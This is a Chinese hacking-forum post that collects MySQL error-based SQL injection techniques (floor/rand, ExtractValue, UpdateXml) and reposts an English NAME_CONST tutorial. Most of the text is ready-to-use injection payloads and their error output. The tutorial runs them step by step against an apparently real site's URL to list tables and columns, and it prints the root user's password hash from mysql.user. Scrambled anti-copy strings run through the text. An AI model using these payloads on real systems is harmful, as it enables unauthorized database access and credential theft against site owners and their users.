找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3186|回复: 0
打印 上一主题 下一主题

mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2015-11-11 19:03:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下:
+ W0 e3 Y% X4 f/ u9 |) j首先进行正常查询:

mysql> select * from article where id = 1;
! D3 x! ], ]1 `, C1 B" P8 b+—-+——-+———+
& a, a( R# h% O% ^| id | title | content |
8 J9 w0 j% X: l0 Y, R- m4 d+—-+——-+———+
! Y" V2 Y/ A( `- R) G4 f|  1 | test  | do it   |% h2 p: F9 M/ Y8 |1 j6 l) d
+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
" W& y# T2 \" E6 l' j, v7 pERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。$ N# U: ^+ Z; q- R& Q! ]
例如我们需要查询管理员用户名和密码:

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);+ q/ ^  ?* b( P* H8 J
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));6 ]4 Q2 c, ^( V: U. M$ n
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue5 S# L3 f: k. ^; X8 P& [5 G
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
+ o, n. j& W5 i, f% {/ vERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’


9 t" f0 f8 i6 K# l* E
& S- S: S( b  ~1 H: [' O/ d

再收集:

1 w5 b* D' O2 g3 m. ~  N8 u
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) . {- J- E& V+ D) v; t
! i9 k! I* p% h; B
Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’3 N* c( S  D  [; v& b  H* ^
3 Z3 ?" v6 L! T" z" D4 J
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
' o7 ^2 P& J9 t2 ^# w+ x* g
4 a( |" e6 l0 T# OErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′ 7 ]4 b' Y3 ^* x2 e
. b. }  b' y- F9 m! \# s3 q
MYSQL高版本报错注入技巧-利用NAME_CONST注入2 @+ _+ p  U0 x2 s- a/ q4 U4 h% c- i3 L
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
+ D7 b0 }  }$ I$ X& ^: f& r& Y7 N. u

* e: Q& P+ r3 D9 P5 ~- o! {: ?相关信息6 N' a; J3 Q1 m* V9 K5 K  V
5 e+ T2 Z/ R- Y, m5 p% h. {
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
' U1 y/ B, r: x( _. C/ j! S3 ]0 n* A; I/ q+ ?
Code:+ x  j) O8 l: \
NAME_CONST(DATA, VALUE)
; e3 J* ~: |. J1 @- O
$ l5 \4 _- [  Z5 iReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
/ m' a5 y. h- d0 a
) y; m/ }1 q8 N4 ]) C+ WSELECT NAME_CONST('TEST', 1)
( z0 K( D9 r. z+ g5 G% H/ [" x" k; ~" h' D0 e  P+ ]7 T
5 o& B+ i' k: \" n: a- p
2 r  J+ k/ E, f1 W9 t, b% l
|---------------|0 C& _  q) X! k
|     TEST      |
- C* r* d: B0 u2 d0 O1 h|               |5 z0 S7 h# g* ]3 F
|---------------|' I& t- O9 A* I7 m8 y2 i& U  o8 @
|       1       |  `# n4 G& R. c' Q4 W
|               |
2 w2 z, h5 ?; F: j3 O+ O1 \, c|---------------|
8 Z4 g% q/ M; Y* X; i

8 w9 s( z7 X/ v; P6 h# m$ i& X
: r+ }1 I0 Y" u9 @# }5 x/ T5 t( O  p0 q

0 A+ e9 R( e- m8 G, ^http://dev.mysql.com/doc/refman/5.0/en/m...name-const
) s7 P* d& n4 l, U- }9 J+ Y6 |8 p2 ]" [Intro to MySQL Variables. m# R5 }! A5 ^% u' R
1 R, Z  y+ a; E. D* ?( Z# x
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.6 L: G/ `' R* R% k, G
* v# G, I: C' I; f
Code:7 e. x! R8 A( E1 Y# O( A2 o
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
! w: T% t& G9 f; _
3 [( V) E# k3 E* m" v

8 w2 J$ `$ T6 |- D% c& V& Z, `
( ], Y1 U6 s/ p) y, h1 B$ F( T
# A' ]3 b# F$ W- @# S( g6 D

& T4 B0 T: \% i* YCode:  j7 t, t& Q7 }: L  J
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--) Z! {6 T5 a" `! m5 T

1 y/ _+ G- s5 d. w7 Z' e' M" S& j. c  q; Q, G
VAR = Your MySQL variable.0 `9 w" \  \) E
( H7 g! X+ ?7 b6 y2 ?/ N3 a- j
MySQL 5.1.3 Server System Variables
$ U8 j  l8 s6 Y) p) ]6 }3 k* [- \( C" z
Let's try it out on my site..7 x7 j& f3 Q) q) J
; o" T' Z8 v8 l1 N
Code:
( d2 F7 c9 I( dhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
9 W" K* |" A0 F4 O
' X$ v1 M$ P- H0 T* d. z; UErroruplicate column name '5.0.27-community-nt'" _$ b- E+ G9 y7 O
  G% U2 j# G, [
: Q2 s9 e1 `" K

- u$ G% `, }; Q: l  U" f, o# \
$ j! e" H6 n! W. _

/ c+ U1 w2 R& n1 qNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
- x% M* i  z* L, ?( U* ?4 r7 g7 D1 [, y
Data Extraction/ b4 @" s4 ^" H, D
' V6 q4 C3 G6 I  Q# j0 ~2 s0 f7 X
Code:0 R$ o9 k9 V, _, u+ K9 _0 F# n
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
9 F% d; O8 c! m( s
7 \2 I. b- I, m6 l" d# E
0 A5 n7 `9 |; E+ _) J; h' E+ I" v: O
We should get a duplicate column 1 error...0 _/ X/ l+ e/ V# q( ]) D: v3 b( c

6 S$ D0 ]* k' i# QCode:
2 G3 H) K" ?* X6 k) L( fhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--. j  h1 V2 U! d; B% }9 o, H0 @
4 M: _+ C  O. q# O6 n* p: j2 S
Erroruplicate column name '1: k: U! a( e  m+ W. t7 P- u

! w1 X/ P3 q0 \% b7 W% j$ v3 |3 \3 I5 x
  Y8 t3 `- S0 a4 b% O5 S9 P: z

, ~. v( T$ _6 Y" K7 a. z$ W  O' J

' J5 T1 J( q1 o5 D7 d2 G8 O
- t: C  ]1 ]. {5 j* bNow let's get the tables out this bitch..3 `  |" {6 _& |: Z7 k/ f, t

0 t5 z3 h, c0 r$ n3 oCode:
0 M( T! B& \; H( a  q& V+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--  P& e( ]5 f6 m2 `$ a/ \2 X
* x% F/ b8 P& j9 ^% L% j
9 Q4 [3 n, ]1 S% w
Let's see if it works here, if it does, we can go on and finish the job.) ~8 Y( L4 I$ r
* ]2 f4 T" }/ n0 ^5 S8 u$ x! \# Z
Code:0 a* h! C5 a& d4 Z# f
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
: o+ S0 j* E. X9 t+ L6 n: I7 h9 h/ f

  X. P3 X6 Z& G. b$ D  LErroruplicate column name 'com_admanage
; r9 U$ I% `5 H; J& S: ^' d6 F
# r6 o% X; ~( g+ H' g& S4 h: v( y" I
4 T2 }& e1 ~) j1 G- u! |

9 ^6 D/ I& ~3 B+ n- J- M4 q  V* ]- o; V
4 T7 s1 {! q7 \8 r) M2 L
' d" a6 A  i: E: |$ n
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.! T2 ~* V: T# F; w; y+ J
" R4 j" Y7 d6 ]& B) q7 E/ p8 }7 K4 z4 u6 r
Let's get the columns out of the user table..
  G6 U: e8 r8 l  ^) J1 }- D* [% N* i0 H/ X; B! a+ \. R* y5 D8 `
Code:% u. j! V' x9 A9 D! S7 }
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
& \: `( e" w# U( o6 p
+ ^0 S: P4 M. b( o

# H1 x) U& k- c; ZSo mine looks like this, and I get the duplicate column name 'Host'.3 @9 ?& W# g' K" u2 m

; [- w  w7 v/ Y0 s- kCode:
# V" S2 i0 z9 I& r% yhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--4 Y  k9 z& J0 x! }

1 d& D* g# _7 T; f) zErroruplicate column name 'Host'' a5 T5 Q' g$ T: q  q: J1 U

( x8 D' F! I0 H  p. @' N3 T2 D' Y! E5 X
7 n/ I6 o- j; q, {6 n
) s7 B9 O! X& o; _; r5 M! m5 c3 W* K) I! i2 q( _* d  l
" a  F7 J. V  Q1 ~5 H7 M* s' ?( W, E
% l' @. T% s5 y4 t- g! _
Woot, time to finish this bitch off.
2 M: Q  w5 m* F9 O" l& _0 [: z
: X% L7 ^6 k, c9 `! tCode:- E# }1 U( Q( N: L
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--& {' y$ ]# D0 u/ ~6 M- H
' J6 {" k1 F1 E

2 R) a) p4 u9 f* k% i4 Q3 _9 J: ?So mine looks like this...
8 V& K7 L0 c( L6 e9 V( N. Q! o+ c2 A8 T  i" {6 f/ l2 H4 Y; h
Code:
( U& P& I$ v+ Nhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--  A# M% D% D) j/ ~. k) \' I: r& |* ?0 j

6 f" r- A' G5 ]Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'; h  N$ D8 `% G, B
7 Z3 _) o* |5 D2 L" y

! g# r& ~4 e5 i* T5 n 8 z5 B+ Z; t4 s. n& i  o, _$ `

' Q1 H! ?" M; N% A# \

4 A) b3 M+ R4 w, s, r0 O* [7 d) V6 r, n) t% f, v1 y; j
And there we have it, thanks for reading.
  M2 Q* b: u0 `* x. B1 X

; a* d& l$ a: G) Z3 B& ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表